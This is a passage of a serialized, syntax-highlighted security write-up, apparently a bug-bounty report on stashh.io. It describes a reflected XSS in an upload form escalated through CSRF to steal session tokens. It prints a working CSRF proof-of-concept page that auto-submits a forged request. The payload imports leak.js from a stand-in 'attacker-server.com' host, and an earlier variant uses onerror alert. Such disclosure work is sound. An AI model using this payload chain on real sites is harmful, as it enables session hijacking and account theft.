",{"type":20,"tag":315,"props":31099,"children":31100},{"style":2652},[31101],{"type":26,"value":31102},"onerror",{"type":20,"tag":315,"props":31104,"children":31105},{"style":541},[31106],{"type":26,"value":31088},{"type":20,"tag":315,"props":31108,"children":31109},{"style":2652},[31110],{"type":26,"value":31111},"alert",{"type":20,"tag":315,"props":31113,"children":31114},{"style":541},[31115],{"type":26,"value":31116},"(",{"type":20,"tag":315,"props":31118,"children":31119},{"style":2652},[31120],{"type":26,"value":31121},"document",{"type":20,"tag":315,"props":31123,"children":31124},{"style":541},[31125],{"type":26,"value":31126},".",{"type":20,"tag":315,"props":31128,"children":31129},{"style":2652},[31130],{"type":26,"value":31131},"domain",{"type":20,"tag":315,"props":31133,"children":31134},{"style":541},[31135],{"type":26,"value":31136},")>","",{"type":20,"tag":315,"props":31138,"children":31139},{"style":2652},[31140],{"type":26,"value":31141},"to",{"type":20,"tag":315,"props":31143,"children":31144},{"style":541},[31145],{"type":26,"value":31059},{"type":20,"tag":315,"props":31147,"children":31148},{"style":2652},[31149],{"type":26,"value":31150},"profile",{"type":20,"tag":315,"props":31152,"children":31153},{"style":541},[31154],{"type":26,"value":31155},"-",{"type":20,"tag":315,"props":31157,"children":31158},{"style":2652},[31159],{"type":26,"value":31160},"assets",{"type":20,"tag":315,"props":31162,"children":31163},{"style":541},[31164],{"type":26,"value":31165},"","",{"type":20,"tag":315,"props":31167,"children":31168},{"style":2652},[31169],{"type":26,"value":31170},"type",{"type":20,"tag":315,"props":31172,"children":31173},{"style":541},[31174],{"type":26,"value":31059},{"type":20,"tag":315,"props":31176,"children":31177},{"style":2652},[31178],{"type":26,"value":31179},"icon",{"type":20,"tag":315,"props":31181,"children":31182},{"style":541},[31183],{"type":26,"value":31184},""}",{"type":20,"tag":315,"props":31186,"children":31187},{"style":2652},[31188],{"type":26,"value":18463},{"type":20,"tag":315,"props":31190,"children":31191},{"style":30791},[31192],{"type":26,"value":31193}," />\n",{"type":20,"tag":315,"props":31195,"children":31196},{"class":317,"line":421},[31197,31201,31205,31209,31213,31218,31222,31226,31231],{"type":20,"tag":315,"props":31198,"children":31199},{"style":30791},[31200],{"type":26,"value":31003},{"type":20,"tag":315,"props":31202,"children":31203},{"style":541},[31204],{"type":26,"value":6763},{"type":20,"tag":315,"props":31206,"children":31207},{"style":635},[31208],{"type":26,"value":30955},{"type":20,"tag":315,"props":31210,"children":31211},{"style":334},[31212],{"type":26,"value":337},{"type":20,"tag":315,"props":31214,"children":31215},{"style":2652},[31216],{"type":26,"value":31217},"\"submit\"",{"type":20,"tag":315,"props":31219,"children":31220},{"style":635},[31221],{"type":26,"value":30925},{"type":20,"tag":315,"props":31223,"children":31224},{"style":334},[31225],{"type":26,"value":337},{"type":20,"tag":315,"props":31227,"children":31228},{"style":2652},[31229],{"type":26,"value":31230},"\"Submit request\"",{"type":20,"tag":315,"props":31232,"children":31233},{"style":30791},[31234],{"type":26,"value":31193},{"type":20,"tag":315,"props":31236,"children":31237},{"class":317,"line":430},[31238,31243,31247],{"type":20,"tag":315,"props":31239,"children":31240},{"style":30791},[31241],{"type":26,"value":31242}," \u003C/",{"type":20,"tag":315,"props":31244,"children":31245},{"style":541},[31246],{"type":26,"value":30865},{"type":20,"tag":315,"props":31248,"children":31249},{"style":30791},[31250],{"type":26,"value":4386},{"type":20,"tag":315,"props":31252,"children":31253},{"class":317,"line":453},[31254,31259,31263],{"type":20,"tag":315,"props":31255,"children":31256},{"style":30791},[31257],{"type":26,"value":31258}," \u003C/",{"type":20,"tag":315,"props":31260,"children":31261},{"style":541},[31262],{"type":26,"value":30815},{"type":20,"tag":315,"props":31264,"children":31265},{"style":30791},[31266],{"type":26,"value":4386},{"type":20,"tag":315,"props":31268,"children":31269},{"class":317,"line":486},[31270],{"type":20,"tag":315,"props":31271,"children":31272},{"emptyLinePlaceholder":15},[31273],{"type":26,"value":427},{"type":20,"tag":315,"props":31275,"children":31276},{"class":317,"line":499},[31277,31281,31285],{"type":20,"tag":315,"props":31278,"children":31279},{"style":30791},[31280],{"type":26,"value":30810},{"type":20,"tag":315,"props":31282,"children":31283},{"style":541},[31284],{"type":26,"value":30831},{"type":20,"tag":315,"props":31286,"children":31287},{"style":30791},[31288],{"type":26,"value":4386},{"type":20,"tag":315,"props":31290,"children":31291},{"class":317,"line":513},[31292],{"type":20,"tag":315,"props":31293,"children":31294},{"emptyLinePlaceholder":15},[31295],{"type":26,"value":427},{"type":20,"tag":315,"props":31297,"children":31298},{"class":317,"line":521},[31299,31304],{"type":20,"tag":315,"props":31300,"children":31301},{"style":328},[31302],{"type":26,"value":31303}," (async ()=>",{"type":20,"tag":315,"props":31305,"children":31306},{"style":541},[31307],{"type":26,"value":723},{"type":20,"tag":315,"props":31309,"children":31310},{"class":317,"line":552},[31311,31316,31321,31326,31331,31335,31339,31344,31348,31353,31358,31363],{"type":20,"tag":315,"props":31312,"children":31313},{"style":635},[31314],{"type":26,"value":31315}," const",{"type":20,"tag":315,"props":31317,"children":31318},{"style":635},[31319],{"type":26,"value":31320}," blob",{"type":20,"tag":315,"props":31322,"children":31323},{"style":334},[31324],{"type":26,"value":31325}," = ",{"type":20,"tag":315,"props":31327,"children":31328},{"style":525},[31329],{"type":26,"value":31330},"await",{"type":20,"tag":315,"props":31332,"children":31333},{"style":334},[31334],{"type":26,"value":463},{"type":20,"tag":315,"props":31336,"children":31337},{"style":525},[31338],{"type":26,"value":31330},{"type":20,"tag":315,"props":31340,"children":31341},{"style":345},[31342],{"type":26,"value":31343}," fetch",{"type":20,"tag":315,"props":31345,"children":31346},{"style":334},[31347],{"type":26,"value":1049},{"type":20,"tag":315,"props":31349,"children":31350},{"style":2652},[31351],{"type":26,"value":31352},"\"/sapo.png\"",{"type":20,"tag":315,"props":31354,"children":31355},{"style":334},[31356],{"type":26,"value":31357},")).",{"type":20,"tag":315,"props":31359,"children":31360},{"style":345},[31361],{"type":26,"value":31362},"blob",{"type":20,"tag":315,"props":31364,"children":31365},{"style":334},[31366],{"type":26,"value":6131},{"type":20,"tag":315,"props":31368,"children":31369},{"class":317,"line":571},[31370],{"type":20,"tag":315,"props":31371,"children":31372},{"emptyLinePlaceholder":15},[31373],{"type":26,"value":427},{"type":20,"tag":315,"props":31375,"children":31376},{"class":317,"line":2031},[31377,31381,31386,31390,31394,31399,31404,31408,31412,31417,31422,31427,31432],{"type":20,"tag":315,"props":31378,"children":31379},{"style":635},[31380],{"type":26,"value":1445},{"type":20,"tag":315,"props":31382,"children":31383},{"style":635},[31384],{"type":26,"value":31385}," f",{"type":20,"tag":315,"props":31387,"children":31388},{"style":334},[31389],{"type":26,"value":31325},{"type":20,"tag":315,"props":31391,"children":31392},{"style":541},[31393],{"type":26,"value":13523},{"type":20,"tag":315,"props":31395,"children":31396},{"style":345},[31397],{"type":26,"value":31398}," File",{"type":20,"tag":315,"props":31400,"children":31401},{"style":334},[31402],{"type":26,"value":31403},"([",{"type":20,"tag":315,"props":31405,"children":31406},{"style":635},[31407],{"type":26,"value":31362},{"type":20,"tag":315,"props":31409,"children":31410},{"style":334},[31411],{"type":26,"value":21465},{"type":20,"tag":315,"props":31413,"children":31414},{"style":2652},[31415],{"type":26,"value":31416},"'sapo.png'",{"type":20,"tag":315,"props":31418,"children":31419},{"style":334},[31420],{"type":26,"value":31421},", {",{"type":20,"tag":315,"props":31423,"children":31424},{"style":635},[31425],{"type":26,"value":31426},"type:",{"type":20,"tag":315,"props":31428,"children":31429},{"style":2652},[31430],{"type":26,"value":31431}," 'image/png'",{"type":20,"tag":315,"props":31433,"children":31434},{"style":334},[31435],{"type":26,"value":31436},"})\n",{"type":20,"tag":315,"props":31438,"children":31439},{"class":317,"line":2053},[31440,31444,31449,31453,31457,31462],{"type":20,"tag":315,"props":31441,"children":31442},{"style":635},[31443],{"type":26,"value":31315},{"type":20,"tag":315,"props":31445,"children":31446},{"style":635},[31447],{"type":26,"value":31448}," dataTransfer",{"type":20,"tag":315,"props":31450,"children":31451},{"style":334},[31452],{"type":26,"value":31325},{"type":20,"tag":315,"props":31454,"children":31455},{"style":541},[31456],{"type":26,"value":13523},{"type":20,"tag":315,"props":31458,"children":31459},{"style":345},[31460],{"type":26,"value":31461}," DataTransfer",{"type":20,"tag":315,"props":31463,"children":31464},{"style":334},[31465],{"type":26,"value":568},{"type":20,"tag":315,"props":31467,"children":31468},{"class":317,"line":2061},[31469,31474,31478,31483,31487,31491,31495,31500],{"type":20,"tag":315,"props":31470,"children":31471},{"style":635},[31472],{"type":26,"value":31473}," dataTransfer",{"type":20,"tag":315,"props":31475,"children":31476},{"style":334},[31477],{"type":26,"value":61},{"type":20,"tag":315,"props":31479,"children":31480},{"style":635},[31481],{"type":26,"value":31482},"items",{"type":20,"tag":315,"props":31484,"children":31485},{"style":334},[31486],{"type":26,"value":61},{"type":20,"tag":315,"props":31488,"children":31489},{"style":345},[31490],{"type":26,"value":8037},{"type":20,"tag":315,"props":31492,"children":31493},{"style":334},[31494],{"type":26,"value":1049},{"type":20,"tag":315,"props":31496,"children":31497},{"style":635},[31498],{"type":26,"value":31499},"f",{"type":20,"tag":315,"props":31501,"children":31502},{"style":334},[31503],{"type":26,"value":2214},{"type":20,"tag":315,"props":31505,"children":31506},{"class":317,"line":2070},[31507],{"type":20,"tag":315,"props":31508,"children":31509},{"emptyLinePlaceholder":15},[31510],{"type":26,"value":427},{"type":20,"tag":315,"props":31512,"children":31513},{"class":317,"line":2139},[31514,31519,31523,31528,31532,31537,31541,31545],{"type":20,"tag":315,"props":31515,"children":31516},{"style":635},[31517],{"type":26,"value":31518}," file123",{"type":20,"tag":315,"props":31520,"children":31521},{"style":334},[31522],{"type":26,"value":61},{"type":20,"tag":315,"props":31524,"children":31525},{"style":635},[31526],{"type":26,"value":31527},"files",{"type":20,"tag":315,"props":31529,"children":31530},{"style":334},[31531],{"type":26,"value":31325},{"type":20,"tag":315,"props":31533,"children":31534},{"style":635},[31535],{"type":26,"value":31536},"dataTransfer",{"type":20,"tag":315,"props":31538,"children":31539},{"style":334},[31540],{"type":26,"value":61},{"type":20,"tag":315,"props":31542,"children":31543},{"style":635},[31544],{"type":26,"value":31527},{"type":20,"tag":315,"props":31546,"children":31547},{"style":334},[31548],{"type":26,"value":1405},{"type":20,"tag":315,"props":31550,"children":31551},{"class":317,"line":2147},[31552,31557],{"type":20,"tag":315,"props":31553,"children":31554},{"style":541},[31555],{"type":26,"value":31556}," }",{"type":20,"tag":315,"props":31558,"children":31559},{"style":328},[31560],{"type":26,"value":31561},")()\n",{"type":20,"tag":315,"props":31563,"children":31564},{"class":317,"line":2177},[31565],{"type":20,"tag":315,"props":31566,"children":31567},{"emptyLinePlaceholder":15},[31568],{"type":26,"value":427},{"type":20,"tag":315,"props":31570,"children":31571},{"class":317,"line":2185},[31572,31576,31580],{"type":20,"tag":315,"props":31573,"children":31574},{"style":30791},[31575],{"type":26,"value":31258},{"type":20,"tag":315,"props":31577,"children":31578},{"style":541},[31579],{"type":26,"value":30831},{"type":20,"tag":315,"props":31581,"children":31582},{"style":30791},[31583],{"type":26,"value":4386},{"type":20,"tag":315,"props":31585,"children":31586},{"class":317,"line":2217},[31587,31591,31595],{"type":20,"tag":315,"props":31588,"children":31589},{"style":30791},[31590],{"type":26,"value":30845},{"type":20,"tag":315,"props":31592,"children":31593},{"style":541},[31594],{"type":26,"value":30798},{"type":20,"tag":315,"props":31596,"children":31597},{"style":30791},[31598],{"type":26,"value":4386},{"type":20,"tag":29,"props":31600,"children":31601},{},[31602],{"type":26,"value":31603},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":20,"tag":29,"props":31605,"children":31606},{},[31607],{"type":26,"value":31608},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":20,"tag":29,"props":31610,"children":31611},{},[31612],{"type":26,"value":31613},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":20,"tag":29,"props":31615,"children":31616},{},[31617],{"type":26,"value":31618},"From here, we were able to steal the session cookie from local storage.",{"type":20,"tag":305,"props":31620,"children":31622},{"className":29779,"code":31621,"language":29781,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[31623],{"type":20,"tag":119,"props":31624,"children":31625},{"__ignoreMap":7},[31626,31641,31656,31687,31762,31813,32001,32040,32055,32070,32077,32092,32099,32110,32161,32168,32223,32250,32285,32292,32327,32334,32355,32366,32373,32388],{"type":20,"tag":315,"props":31627,"children":31628},{"class":317,"line":318},[31629,31633,31637],{"type":20,"tag":315,"props":31630,"children":31631},{"style":30791},[31632],{"type":26,"value":4199},{"type":20,"tag":315,"props":31634,"children":31635},{"style":541},[31636],{"type":26,"value":30798},{"type":20,"tag":315,"props":31638,"children":31639},{"style":30791},[31640],{"type":26,"value":4386},{"type":20,"tag":315,"props":31642,"children":31643},{"class":317,"line":356},[31644,31648,31652],{"type":20,"tag":315,"props":31645,"children":31646},{"style":30791},[31647],{"type":26,"value":30810},{"type":20,"tag":315,"props":31649,"children":31650},{"style":541},[31651],{"type":26,"value":30815},{"type":20,"tag":315,"props":31653,"children":31654},{"style":30791},[31655],{"type":26,"value":4386},{"type":20,"tag":315,"props":31657,"children":31658},{"class":317,"line":365},[31659,31663,31667,31671,31675,31679,31683],{"type":20,"tag":315,"props":31660,"children":31661},{"style":30791},[31662],{"type":26,"value":30810},{"type":20,"tag":315,"props":31664,"children":31665},{"style":541},[31666],{"type":26,"value":30831},{"type":20,"tag":315,"props":31668,"children":31669},{"style":30791},[31670],{"type":26,"value":8862},{"type":20,"tag":315,"props":31672,"children":31673},{"style":328},[31674],{"type":26,"value":30840},{"type":20,"tag":315,"props":31676,"children":31677},{"style":30791},[31678],{"type":26,"value":30845},{"type":20,"tag":315,"props":31680,"children":31681},{"style":541},[31682],{"type":26,"value":30831},{"type":20,"tag":315,"props":31684,"children":31685},{"style":30791},[31686],{"type":26,"value":4386},{"type":20,"tag":315,"props":31688,"children":31689},{"class":317,"line":374},[31690,31694,31698,31702,31706,31710,31714,31718,31722,31726,31730,31734,31738,31742,31746,31750,31754,31758],{"type":20,"tag":315,"props":31691,"children":31692},{"style":30791},[31693],{"type":26,"value":505},{"type":20,"tag":315,"props":31695,"children":31696},{"style":541},[31697],{"type":26,"value":30865},{"type":20,"tag":315,"props":31699,"children":31700},{"style":635},[31701],{"type":26,"value":30870},{"type":20,"tag":315,"props":31703,"children":31704},{"style":334},[31705],{"type":26,"value":337},{"type":20,"tag":315,"props":31707,"children":31708},{"style":2652},[31709],{"type":26,"value":30879},{"type":20,"tag":315,"props":31711,"children":31712},{"style":635},[31713],{"type":26,"value":30884},{"type":20,"tag":315,"props":31715,"children":31716},{"style":334},[31717],{"type":26,"value":337},{"type":20,"tag":315,"props":31719,"children":31720},{"style":2652},[31721],{"type":26,"value":30893},{"type":20,"tag":315,"props":31723,"children":31724},{"style":635},[31725],{"type":26,"value":15512},{"type":20,"tag":315,"props":31727,"children":31728},{"style":334},[31729],{"type":26,"value":337},{"type":20,"tag":315,"props":31731,"children":31732},{"style":2652},[31733],{"type":26,"value":30906},{"type":20,"tag":315,"props":31735,"children":31736},{"style":635},[31737],{"type":26,"value":30911},{"type":20,"tag":315,"props":31739,"children":31740},{"style":334},[31741],{"type":26,"value":337},{"type":20,"tag":315,"props":31743,"children":31744},{"style":2652},[31745],{"type":26,"value":30920},{"type":20,"tag":315,"props":31747,"children":31748},{"style":635},[31749],{"type":26,"value":30925},{"type":20,"tag":315,"props":31751,"children":31752},{"style":334},[31753],{"type":26,"value":337},{"type":20,"tag":315,"props":31755,"children":31756},{"style":2652},[31757],{"type":26,"value":30934},{"type":20,"tag":315,"props":31759,"children":31760},{"style":30791},[31761],{"type":26,"value":4386},{"type":20,"tag":315,"props":31763,"children":31764},{"class":317,"line":383},[31765,31769,31773,31777,31781,31785,31789,31793,31797,31801,31805,31809],{"type":20,"tag":315,"props":31766,"children":31767},{"style":30791},[31768],{"type":26,"value":30946},{"type":20,"tag":315,"props":31770,"children":31771},{"style":541},[31772],{"type":26,"value":6763},{"type":20,"tag":315,"props":31774,"children":31775},{"style":635},[31776],{"type":26,"value":30955},{"type":20,"tag":315,"props":31778,"children":31779},{"style":334},[31780],{"type":26,"value":337},{"type":20,"tag":315,"props":31782,"children":31783},{"style":2652},[31784],{"type":26,"value":30964},{"type":20,"tag":315,"props":31786,"children":31787},{"style":635},[31788],{"type":26,"value":30969},{"type":20,"tag":315,"props":31790,"children":31791},{"style":334},[31792],{"type":26,"value":337},{"type":20,"tag":315,"props":31794,"children":31795},{"style":2652},[31796],{"type":26,"value":30978},{"type":20,"tag":315,"props":31798,"children":31799},{"style":635},[31800],{"type":26,"value":30870},{"type":20,"tag":315,"props":31802,"children":31803},{"style":334},[31804],{"type":26,"value":337},{"type":20,"tag":315,"props":31806,"children":31807},{"style":2652},[31808],{"type":26,"value":30991},{"type":20,"tag":315,"props":31810,"children":31811},{"style":30791},[31812],{"type":26,"value":4386},{"type":20,"tag":315,"props":31814,"children":31815},{"class":317,"line":407},[31816,31820,31824,31828,31832,31836,31840,31844,31848,31852,31856,31860,31865,31869,31874,31878,31883,31887,31892,31897,31901,31905,31910,31915,31920,31925,31930,31935,31939,31944,31948,31952,31957,31961,31966,31971,31976,31980,31984,31988,31993,31997],{"type":20,"tag":315,"props":31817,"children":31818},{"style":30791},[31819],{"type":26,"value":31003},{"type":20,"tag":315,"props":31821,"children":31822},{"style":541},[31823],{"type":26,"value":6763},{"type":20,"tag":315,"props":31825,"children":31826},{"style":635},[31827],{"type":26,"value":30955},{"type":20,"tag":315,"props":31829,"children":31830},{"style":334},[31831],{"type":26,"value":337},{"type":20,"tag":315,"props":31833,"children":31834},{"style":2652},[31835],{"type":26,"value":31020},{"type":20,"tag":315,"props":31837,"children":31838},{"style":635},[31839],{"type":26,"value":30969},{"type":20,"tag":315,"props":31841,"children":31842},{"style":334},[31843],{"type":26,"value":337},{"type":20,"tag":315,"props":31845,"children":31846},{"style":2652},[31847],{"type":26,"value":31033},{"type":20,"tag":315,"props":31849,"children":31850},{"style":635},[31851],{"type":26,"value":30925},{"type":20,"tag":315,"props":31853,"children":31854},{"style":334},[31855],{"type":26,"value":337},{"type":20,"tag":315,"props":31857,"children":31858},{"style":2652},[31859],{"type":26,"value":18463},{"type":20,"tag":315,"props":31861,"children":31862},{"style":541},[31863],{"type":26,"value":31864},"{"",{"type":20,"tag":315,"props":31866,"children":31867},{"style":2652},[31868],{"type":26,"value":1054},{"type":20,"tag":315,"props":31870,"children":31871},{"style":541},[31872],{"type":26,"value":31873},"":"<",{"type":20,"tag":315,"props":31875,"children":31876},{"style":2652},[31877],{"type":26,"value":2308},{"type":20,"tag":315,"props":31879,"children":31880},{"style":541},[31881],{"type":26,"value":31882},"/",{"type":20,"tag":315,"props":31884,"children":31885},{"style":2652},[31886],{"type":26,"value":31083},{"type":20,"tag":315,"props":31888,"children":31889},{"style":541},[31890],{"type":26,"value":31891},"=",{"type":20,"tag":315,"props":31893,"children":31894},{"style":2652},[31895],{"type":26,"value":31896},"x onerror",{"type":20,"tag":315,"props":31898,"children":31899},{"style":541},[31900],{"type":26,"value":31891},{"type":20,"tag":315,"props":31902,"children":31903},{"style":2652},[31904],{"type":26,"value":17887},{"type":20,"tag":315,"props":31906,"children":31907},{"style":541},[31908],{"type":26,"value":31909},"(`",{"type":20,"tag":315,"props":31911,"children":31912},{"style":2652},[31913],{"type":26,"value":31914},"https",{"type":20,"tag":315,"props":31916,"children":31917},{"style":541},[31918],{"type":26,"value":31919},"://",{"type":20,"tag":315,"props":31921,"children":31922},{"style":2652},[31923],{"type":26,"value":31924},"attacker-server",{"type":20,"tag":315,"props":31926,"children":31927},{"style":541},[31928],{"type":26,"value":31929},".",{"type":20,"tag":315,"props":31931,"children":31932},{"style":2652},[31933],{"type":26,"value":31934},"com",{"type":20,"tag":315,"props":31936,"children":31937},{"style":541},[31938],{"type":26,"value":31882},{"type":20,"tag":315,"props":31940,"children":31941},{"style":2652},[31942],{"type":26,"value":31943},"leak",{"type":20,"tag":315,"props":31945,"children":31946},{"style":541},[31947],{"type":26,"value":31929},{"type":20,"tag":315,"props":31949,"children":31950},{"style":2652},[31951],{"type":26,"value":29781},{"type":20,"tag":315,"props":31953,"children":31954},{"style":541},[31955],{"type":26,"value":31956},"`)>","",{"type":20,"tag":315,"props":31958,"children":31959},{"style":2652},[31960],{"type":26,"value":31141},{"type":20,"tag":315,"props":31962,"children":31963},{"style":541},[31964],{"type":26,"value":31965},"":"",{"type":20,"tag":315,"props":31967,"children":31968},{"style":2652},[31969],{"type":26,"value":31970},"profile-assets",{"type":20,"tag":315,"props":31972,"children":31973},{"style":541},[31974],{"type":26,"value":31975},"","",{"type":20,"tag":315,"props":31977,"children":31978},{"style":2652},[31979],{"type":26,"value":31170},{"type":20,"tag":315,"props":31981,"children":31982},{"style":541},[31983],{"type":26,"value":31965},{"type":20,"tag":315,"props":31985,"children":31986},{"style":2652},[31987],{"type":26,"value":31179},{"type":20,"tag":315,"props":31989,"children":31990},{"style":541},[31991],{"type":26,"value":31992},""}",{"type":20,"tag":315,"props":31994,"children":31995},{"style":2652},[31996],{"type":26,"value":18463},{"type":20,"tag":315,"props":31998,"children":31999},{"style":30791},[32000],{"type":26,"value":31193},{"type":20,"tag":315,"props":32002,"children":32003},{"class":317,"line":421},[32004,32008,32012,32016,32020,32024,32028,32032,32036],{"type":20,"tag":315,"props":32005,"children":32006},{"style":30791},[32007],{"type":26,"value":31003},{"type":20,"tag":315,"props":32009,"children":32010},{"style":541},[32011],{"type":26,"value":6763},{"type":20,"tag":315,"props":32013,"children":32014},{"style":635},[32015],{"type":26,"value":30955},{"type":20,"tag":315,"props":32017,"children":32018},{"style":334},[32019],{"type":26,"value":337},{"type":20,"tag":315,"props":32021,"children":32022},{"style":2652},[32023],{"type":26,"value":31217},{"type":20,"tag":315,"props":32025,"children":32026},{"style":635},[32027],{"type":26,"value":30925},{"type":20,"tag":315,"props":32029,"children":32030},{"style":334},[32031],{"type":26,"value":337},{"type":20,"tag":315,"props":32033,"children":32034},{"style":2652},[32035],{"type":26,"value":31230},{"type":20,"tag":315,"props":32037,"children":32038},{"style":30791},[32039],{"type":26,"value":31193},{"type":20,"tag":315,"props":32041,"children":32042},{"class":317,"line":430},[32043,32047,32051],{"type":20,"tag":315,"props":32044,"children":32045},{"style":30791},[32046],{"type":26,"value":31242},{"type":20,"tag":315,"props":32048,"children":32049},{"style":541},[32050],{"type":26,"value":30865},{"type":20,"tag":315,"props":32052,"children":32053},{"style":30791},[32054],{"type":26,"value":4386},{"type":20,"tag":315,"props":32056,"children":32057},{"class":317,"line":453},[32058,32062,32066],{"type":20,"tag":315,"props":32059,"children":32060},{"style":30791},[32061],{"type":26,"value":31258},{"type":20,"tag":315,"props":32063,"children":32064},{"style":541},[32065],{"type":26,"value":30815},{"type":20,"tag":315,"props":32067,"children":32068},{"style":30791},[32069],{"type":26,"value":4386},{"type":20,"tag":315,"props":32071,"children":32072},{"class":317,"line":486},[32073],{"type":20,"tag":315,"props":32074,"children":32075},{"emptyLinePlaceholder":15},[32076],{"type":26,"value":427},{"type":20,"tag":315,"props":32078,"children":32079},{"class":317,"line":499},[32080,32084,32088],{"type":20,"tag":315,"props":32081,"children":32082},{"style":30791},[32083],{"type":26,"value":30810},{"type":20,"tag":315,"props":32085,"children":32086},{"style":541},[32087],{"type":26,"value":30831},{"type":20,"tag":315,"props":32089,"children":32090},{"style":30791},[32091],{"type":26,"value":4386},{"type":20,"tag":315,"props":32093,"children":32094},{"class":317,"line":513},[32095],{"type":20,"tag":315,"props":32096,"children":32097},{"emptyLinePlaceholder":15},[32098],{"type":26,"value":427},{"type":20,"tag":315,"props":32100,"children":32101},{"class":317,"line":521},[32102,32106],{"type":20,"tag":315,"props":32103,"children":32104},{"style":328},[32105],{"type":26,"value":31303},{"type":20,"tag":315,"props":32107,"children":32108},{"style":541},[32109],{"type":26,"value":723},{"type":20,"tag":315,"props":32111,"children":32112},{"class":317,"line":552},[32113,32117,32121,32125,32129,32133,32137,32141,32145,32149,32153,32157],{"type":20,"tag":315,"props":32114,"children":32115},{"style":635},[32116],{"type":26,"value":31315},{"type":20,"tag":315,"props":32118,"children":32119},{"style":635},[32120],{"type":26,"value":31320},{"type":20,"tag":315,"props":32122,"children":32123},{"style":334},[32124],{"type":26,"value":31325},{"type":20,"tag":315,"props":32126,"children":32127},{"style":525},[32128],{"type":26,"value":31330},{"type":20,"tag":315,"props":32130,"children":32131},{"style":334},[32132],{"type":26,"value":463},{"type":20,"tag":315,"props":32134,"children":32135},{"style":525},[32136],{"type":26,"value":31330},{"type":20,"tag":315,"props":32138,"children":32139},{"style":345},[32140],{"type":26,"value":31343},{"type":20,"tag":315,"props":32142,"children":32143},{"style":334},[32144],{"type":26,"value":1049},{"type":20,"tag":315,"props":32146,"children":32147},{"style":2652},[32148],{"type":26,"value":31352},{"type":20,"tag":315,"props":32150,"children":32151},{"style":334},[32152],{"type":26,"value":31357},{"type":20,"tag":315,"props":32154,"children":32155},{"style":345},[32156],{"type":26,"value":31362},{"type":20,"tag":315,"props":32158,"children":32159},{"style":334},[32160],{"type":26,"value":6131},{"type":20,"tag":315,"props":32162,"children":32163},{"class":317,"line":571},[32164],{"type":20,"tag":315,"props":32165,"children":32166},{"emptyLinePlaceholder":15},[32167],{"type":26,"value":427},{"type":20,"tag":315,"props":32169,"children":32170},{"class":317,"line":2031},[32171,32175,32179,32183,32187,32191,32195,32199,32203,32207,32211,32215,32219],{"type":20,"tag":315,"props":32172,"children":32173},{"style":635},[32174],{"type":26,"value":1445},{"type":20,"tag":315,"props":32176,"children":32177},{"style":635},[32178],{"type":26,"value":31385},{"type":20,"tag":315,"props":32180,"children":32181},{"style":334},[32182],{"type":26,"value":31325},{"type":20,"tag":315,"props":32184,"children":32185},{"style":541},[32186],{"type":26,"value":13523},{"type":20,"tag":315,"props":32188,"children":32189},{"style":345},[32190],{"type":26,"value":31398},{"type":20,"tag":315,"props":32192,"children":32193},{"style":334},[32194],{"type":26,"value":31403},{"type":20,"tag":315,"props":32196,"children":32197},{"style":635},[32198],{"type":26,"value":31362},{"type":20,"tag":315,"props":32200,"children":32201},{"style":334},[32202],{"type":26,"value":21465},{"type":20,"tag":315,"props":32204,"children":32205},{"style":2652},[32206],{"type":26,"value":31416},{"type":20,"tag":315,"props":32208,"children":32209},{"style":334},[32210],{"type":26,"value":31421},{"type":20,"tag":315,"props":32212,"children":32213},{"style":635},[32214],{"type":26,"value":31426},{"type":20,"tag":315,"props":32216,"children":32217},{"style":2652},[32218],{"type":26,"value":31431},{"type":20,"tag":315,"props":32220,"children":32221},{"style":334},[32222],{"type":26,"value":31436},{"type":20,"tag":315,"props":32224,"children":32225},{"class":317,"line":2053},[32226,32230,32234,32238,32242,32246],{"type":20,"tag":315,"props":32227,"children":32228},{"style":635},[32229],{"type":26,"value":31315},{"type":20,"tag":315,"props":32231,"children":32232},{"style":635},[32233],{"type":26,"value":31448},{"type":20,"tag":315,"props":32235,"children":32236},{"style":334},[32237],{"type":26,"value":31325},{"type":20,"tag":315,"props":32239,"children":32240},{"style":541},[32241],{"type":26,"value":13523},{"type":20,"tag":315,"props":32243,"children":32244},{"style":345},[32245],{"type":26,"value":31461},{"type":20,"tag":315,"props":32247,"children":32248},{"style":334},[32249],{"type":26,"value":568},{"type":20,"tag":315,"props":32251,"children":32252},{"class":317,"line":2061},[32253,32257,32261,32265,32269,32273,32277,32281],{"type":20,"tag":315,"props":32254,"children":32255},{"style":635},[32256],{"type":26,"value":31473},{"type":20,"tag":315,"props":32258,"children":32259},{"style":334},[32260],{"type":26,"value":61},{"type":20,"tag":315,"props":32262,"children":32263},{"style":635},[32264],{"type":26,"value":31482},{"type":20,"tag":315,"props":32266,"children":32267},{"style":334},[32268],{"type":26,"value":61},{"type":20,"tag":315,"props":32270,"children":32271},{"style":345},[32272],{"type":26,"value":8037},{"type":20,"tag":315,"props":32274,"children":32275},{"style":334},[32276],{"type":26,"value":1049},{"type":20,"tag":315,"props":32278,"children":32279},{"style":635},[32280],{"type":26,"value":31499},{"type":20,"tag":315,"props":32282,"children":32283},{"style":334},[32284],{"type":26,"value":2214},{"type":20,"tag":315,"props":32286,"children":32287},{"class":317,"line":2070},[32288],{"type":20,"tag":315,"props":32289,"children":32290},{"emptyLinePlaceholder":15},[32291],{"type":26,"value":427},{"type":20,"tag":315,"props":32293,"children":32294},{"class":317,"line":2139},[32295,32299,32303,32307,32311,32315,32319,32323],{"type":20,"tag":315,"props":32296,"children":32297},{"style":635},[32298],{"type":26,"value":31518},{"type":20,"tag":315,"props":32300,"children":32301},{"style":334},[32302],{"type":26,"value":61},{"type":20,"tag":315,"props":323